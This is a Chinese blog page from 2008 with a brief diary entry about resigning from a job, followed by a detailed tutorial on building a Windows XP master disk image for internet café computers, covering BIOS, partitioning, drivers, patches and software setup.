Description: 7月2第二次辞职,这是我工作中的第二次的辞职~~以后的日子也不知道要经过这样的多少次~~我这也是出于无奈~!低薪.、白眼我也看够了。。呵。是的做为一个男人都有应该有野心。。我应该去别的地方了。作为一个老板他可以不在乎一个员工。但对于一个员工他是很在乎老板的,如果老板我他好的话他就会迈力的为老板做一件事,我也这样做过了。。可到最后……还是一样的结果……我本来不能喝酒,可我喝了说明已经是失败了……我不会就此罢休,我一定会找到让我满意的工作~~我确实很自信也有一点骄傲~~~也许这个地方确实是我的跳板~~我不能在这呆久,只是瞬间的栖息~……这也话是我的一个习惯,在每次高兴的时候或者生气的时候都会在这里写下自己的心情。以分享或者说安慰自己~让自己在一次振作,去寻找迷失的方向~~!我也不知道成功人士是怎么做的。。 080702: 赵小宇
( Sun, 22 Jun 2008 00:17:12 +0800 )
Description:
网吧母盘的制作(2007详细)
一.系统制作前的准备:
1.系统盘,驱动盘,光驱,一些必须的应用软件及补丁。
或者使用从网上下载的GHOST系统,比如 深度 诺德尔 亮版 (我不怎么推荐使用番茄的系统,因为感觉他的系统主要是针对家庭用户制作的)如果你想更好的学习系统制作的话,我建议你用原版的WINDOWS系统***盘(比如上海政府版等等),这样你才可以学到更多的东西。
我习惯把驱动跟一些做系统必须用到的软件搜集齐放在移动硬盘上,如果你没有的话,也可以把驱动跟做系统必须用到的软件先搜集好,准备在其他的硬盘上,驱动我觉得网卡驱动是必须准备好的。其他的就算没有的话,都好办,有了网络,你还怕什么呢。
2.BISO设置:
1、禁用没有***IDE设备的IDE接口.硬盘最好***在第一IDE设备的主盘,而其他IDE设备全部禁用.把软驱禁用并把软盘控制器也禁用!现在估计很多网吧都用的是串口硬盘把,那么把所有的IDE接口都禁用。(如果用光驱***,则暂时开启,***完毕不使用光驱再禁用)
2、系统BIOS映射:显卡BIOS映射和系统BIOS映射最好都设为开启.
3、内存设置:内存工作频率设为BY SPD由系统自己决定它的工作状态,网吧系统要的是稳定,而网吧系统的性能并不是靠超频弄出来的!
4、启动项:第一启动设备设为HDD-0(这个不尽相同,有的也许是IDE-0等),其他启动设备全部禁用.如果用光驱***的话,则要先调整为CD-ROM,系统***完后再调回来。
5、开机自检选项:[Halt on]设置为"No errors".
二.装系统
①.分区.
不管用光驱***或者是用GHOST***,都建议先用Partition Magic(不要用DM或diskman)进行分区格式化,ntfs格式,如果有给虚拟内存跟备份文件单独作一个分区的话,建议那个分区使用FAT32格式。
我是分的三个区,以80G硬盘为例:
C系统盘,4-5个G;ntfs。
D盘游戏盘,55G;ntfs。
E盘单机游戏/游戏菜单/备份,剩余的空间,ntfs。
还有种分区方法:
C:系统盘→4G,ntfs;
D:游戏盘→55G,ntfs;
E:应用软件,聊天软件,在线游戏,常用工具→12G,ntfs;
F:虚拟内存跟备份文件→5G,FAT32。
仅供参考,我只是提供个思路。
有的朋友也许只用了两个分区,觉得这种分区方法有点单一,跟一些新的软件使用不能完美的结合(比如VD,讯闪2007等)。
②.***系统
这步我就略过了,做系统其实不难,***系统也不难,难的是做个好系统。
三.***驱动以及补丁/系统软件及应用软件((原版***的记得关系统还原)
A.***驱动
①.GHOST版本的系统,
克隆完进系统的第一步应该就是修改电源模式,不过我想这部大部分的GHOST系统已经把相关的根据集成进去了的。如果你对电源的选择不是很熟悉的话,建议使用电源修改软件推荐的电源模式。当然也可以找你相同配置的机器,然后看“系统属性”--“硬件”--“设备管理器”--“计算机”里面的电源的类型,然后再在电源修改软件上选择相应的电源模式。
②.***WINRAR(如果系统中没有的话,最好使用注册版的),再***驱动。驱动***的顺序应该是按照 主板驱动→显卡驱动→声卡驱动→网卡驱动→USB2.0驱动→摄像头驱动(若有的话,摄像头要所有USB口都插一遍,如果是USB鼠标也一样)→DX9.0C→NET Framework 2.0 (有时候有些游戏可能需要用到他它,还是***上把)的顺序来的把,NF系统的主板如果你想***冰点还原软件的话,***主板驱动的时候则不要***IDE驱动,IDE驱动就使用标准的双通道PCI IDE控制器,性能方面我想应该应该也没有什么大的影响把。
③.显卡驱动的选择是个很重要的环节,驱动不一定要使用最新的,有时候显卡自带的驱动光盘所有的驱动不一定是最好的。
选择一款稳定、快速的驱动所该遵循的定律:
1、 通过微软WHQL认证的
2、 在产品发布一段时间后才出现的
3、 产品在市面上消失前之推出的
nVIDIA显卡具体推荐如下:NF6以及NF7系列的推荐用84.66whql版驱动,GeForce256显卡无论Win98和Win2000都推荐27.42版驱动。GeForce2 GTS Win98下推荐41.09版,Win2000下推荐40.72版, WinXP下推荐41.09版;GeForce2 MX Win98下推荐40.72版,Win2000下推荐42.01版, WinXP下推荐42.01版;GeForce3 Ti系列 Win2000下推荐44.03版, WinXP下推荐43.51版;GeForce4 MX系列Win98下推荐40.72版,Win2000下推荐43.51版, WinXP下推荐43.51版;对于GeForce4 Ti系列我们是全系统推荐43.51版。这一档次的显卡基本上都用上了雷管FX系列驱动,nVIDIA能对老卡做这么长时间的优化也实属不易。不过也就到此为止了,它们后面的驱动已经是全力为GeForce FX系列优化,对它们很难顾及了。A卡就遵循上面的定律把。
④.声卡驱动千万不要用万能AC'97驱动,推荐用Hwinfo软或者aida32检测正确的声卡型号。
***完毕后把声音图标从控制面板中调出来:控制面板--声音和音频设备---将音量图标放入任务栏,然后选择任务栏音量图标,打开音量控制,将麦克风(microphone)调整出来,取消前面的静音选项,仅留音量(volume)/声道(wave)/麦克风(microphone)3项前面的勾,其他的全部去调。
⑤.任何驱动一般尽量不要使用万能驱动,驱动是操作系统的灵魂,选择一款合适的驱动就如一个美女穿一件很合身的衣服一样,如果让她穿一件大众化的衣服,我想也会让她减了几分姿色的。
⑥.关掉不用的设备:windows xp总是尽可能为电脑的所有设备***驱动程序并进行管理,这不仅会减慢系统启动的速度,同时也造成了系统资源的大量占用。针对这一情况,你可在 设备管理器中,将pcmcia卡、调制解调器、红外线设备、打印机端口(lpt1)或者串口(com1)等不常用的设备停用,方法是双击要停用的设备,在其属性对话框中 的"常规"选项卡中选择"不要使用这个设备(停用)"。在重新启动设置即可生效,当需要使用这些设备时再从设备管理器中启用它们。
⑦.驱动***完,***MAXDOS,建议用5.7版本以上的,密码不要使用默认的,尽量不用简单的数字。然后马上做GHOST备份,不要嫌麻烦。多做备份,以便中途出错恢复系统。如果怕GHOST文件占用磁盘空间的话,可以挂块从盘,将系统制作过程中的所有备份的GHOST(不是最终的那个)全部做到从盘上去,以便母盘更好的合理分配空间。
B.***系统补丁
这时候可以挂块从盘(之前提到的放系统制作一些必须的软件的硬盘)或者移动硬盘,***相关的软件,先打好微软的几个关键性补丁:比如冲击波,震荡波,(SP2系统可以略过)阻击波,魔波,还有微软的威金病毒补丁,ARP补丁,以及JPEG补丁、IE累积更新补丁等。还有IE繁体补丁,xp运行脚本程序VBS补丁(选装内容,因为我的系统中应用到了大量的VBS,所以我***了)等。如果你懒得去微软打补丁的话,也可以去网上搜索那些别人打包出来的微软补丁集合来***。不过这些应该是在母盘制作之前准备在其他的硬盘上的,而不是到了做系统的时候再去到网上搜索系统制作必须的软件/工具与补丁,有备则无患。做母盘的时候尽量不要联网,如果需要连网的话,首先先确定下你的系统够安全不,打了补丁,***了病毒防火墙了吗?
补丁***完,重新启动系统,删除WINDOWS目录下所有的以$开头的隐藏文件,做GHOST备份。
C.***系统软件及应用软件,首先先***款杀毒软件,病毒库升级到最新,比如诺顿企业版/NOD32等,保护着系统,再***其他的软件。系统做完以后你可以把杀毒软件卸载或者把服务停用掉。
***任何软件的时候确记,千万不要把软件捆绑的流氓软件***上了,比如Realplayer/千千静听/联众世界/QQ等都捆绑有流氓软件,不止这些,其他的还有软件都捆绑着有流氓软件,所以当一款软件不需要***的时候,尽量不***。
①.MicrosoftOffice:自定义***,选择WORD及EXCEL就够了,可以把PowerPoint也附带上。
PDF阅读器:推荐使用超星阅览器。
②.播放软件:Ffshow/Divx/Media Player/Realplayer/千千静听/暴风影音/FlashPlay 9.0,Winamp也可以,用千千静听的话就可以免了,软件都尽量使用最新版本的。我一般使用暴风影音跟千千静听,先用暴风影音关联所有音频及视频文件,再用千千静听关联全部音频格式的文件(MP4文件除外),在千千静听的设置选项“歌词搜索”项里面选中“有多个可选地址自动选择最佳”,可以把网吧所有的音乐资源做成播放列表。
Windows Media Player的设置:工具==选项==性能==选择连接速度==LAN 10m 或更高,Media Player11无法***的话,用WINRAR把Media Player11***文件解压到文件夹,运行里面的wmfdist11.exe以及wmp11.exe。
RealPlayer的设置:一定要打上屏蔽弹出广告的补丁,
工具==首选项==修改以下几项:
常规项:
在启动显示上:选择仅限于播放器(无媒体浏览器)
允许在文件夹菜单中显示历史记录列表:把勾去掉
连接==网络传输:
手动配置连接设置:
rt 设置:尝试为所有内容使用TCP(T)改为3000毫秒并打上勾,别的全部去掉;
PNA设置:改成和上面一样。
网吧如果有用到**的话,则还需要***WebPlayer;
如果有其他的在线影院(比如中国网吧院线等)的话则需要用Realplayer关联流媒体文件,那么最好用Realplayer及千千静听来关联视频及音频文件,暴风也无须***了。
③.***王码五笔((选择86版的)/紫光拼音输入法(选装)。
控制面板---区域和语言选项---语言,仅留"简体中文--美式键盘"/全拼/王码五笔/智能ABC输入法(如果是5.0的话则升级到智能ABC输入法5.22版本,不建议升级到5.23,不然玩某些游戏的时候无法看到待选字母,比如WOW等)
更改键设置:控制面板---区域和语言选项---语言---详细信息---键设置----更改键顺序,选择CTRL+ALT切换输入语言;
关闭语言栏:控制面板---区域和语言选项---语言---详细信息----语言栏;
关闭高级文字服务-:控制面板---区域和语言选项---语言---详细信息--高级;
打上XP输入法补丁。
④.ACDSEE/MSN7.5/QQ/QQ显IP版/新浪UC/新浪围棋/新浪UT/TS/大智慧/E话通/网易泡泡/联众世界/中国游戏在线中心/QQ游戏/QQ游戏对战平台/浩方对战平台/南极星
可以不***的软件,尽量不要***。一定要注意不要把软件附带的流氓软件***到系统中了。这些软件可以***在非系统分区,
联众世界似乎默认是***在 C:\Program Files 文件夹下面的,但是可以修改注册表让它可以***在其他目录。
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion]
"ProgramFilesDir"="C:\\Program Files"
把"ProgramFilesDir"的值修改为其他非系统分区的路径,比如按照我提供的分区思路,可以修改为E:\\Program Files。再***联众世界的话,就可以改动到E盘的Program Files目录下了。
QQ游戏对战平台记得与QQ游戏关联,QQ游戏记得与QQ关联。(都登陆运行次就可以了)
关于QQ的超级视频问题:先装好QQ,再在视频设置里把始终使用普通模式勾上,完成后关掉QQ,找到QQ目录下面的vqqset.dll这个文件,删掉,接视频不再占网速。
QQ的减肥以及个性化登陆界面的制作,自己去找资料把,网上很多的,酌情处理。
QQ游戏/联众世界/中国游戏在线中心等记得升级常用的游戏。浩方对战平台/QQ游戏对战平台 记得设置好CS1.5/CS1.6/星际/魔兽/红警等游戏的路径。
⑤.从其他的硬盘或者游戏主机拷网络游戏及单机游戏过来(建议挂从盘拷贝,速度相对来说快得多,推荐使用TotalCmd或者TotalCopy拷文件,不要同时进行多个任务,以便尽量保证文件的连续性),单机游戏建议拷至E盘,网络游戏拷至D盘。(为了结合目前许多的带还原保护游戏更新软件使用,建议网络游戏放D盘)
⑥.运行所有的单机游戏,导入单机游戏注册表或者破解补丁的,确保所有的单机游戏能够正常运行,调节CS1.5的视频设置为OPENGL加速,800*600,CS1.6及魔兽争霸也需要进行一些小的地方的设置,红警打上联机补丁,最好进入游戏,在选项--网路--网路卡 里面,将里面的网路卡设置改为第2项或者第3项。
⑦.导入劲舞团/劲乐团注册表补丁,网络游戏全部运行测试并且升级。
⑧GHOST做备

参考资料

 

随机推荐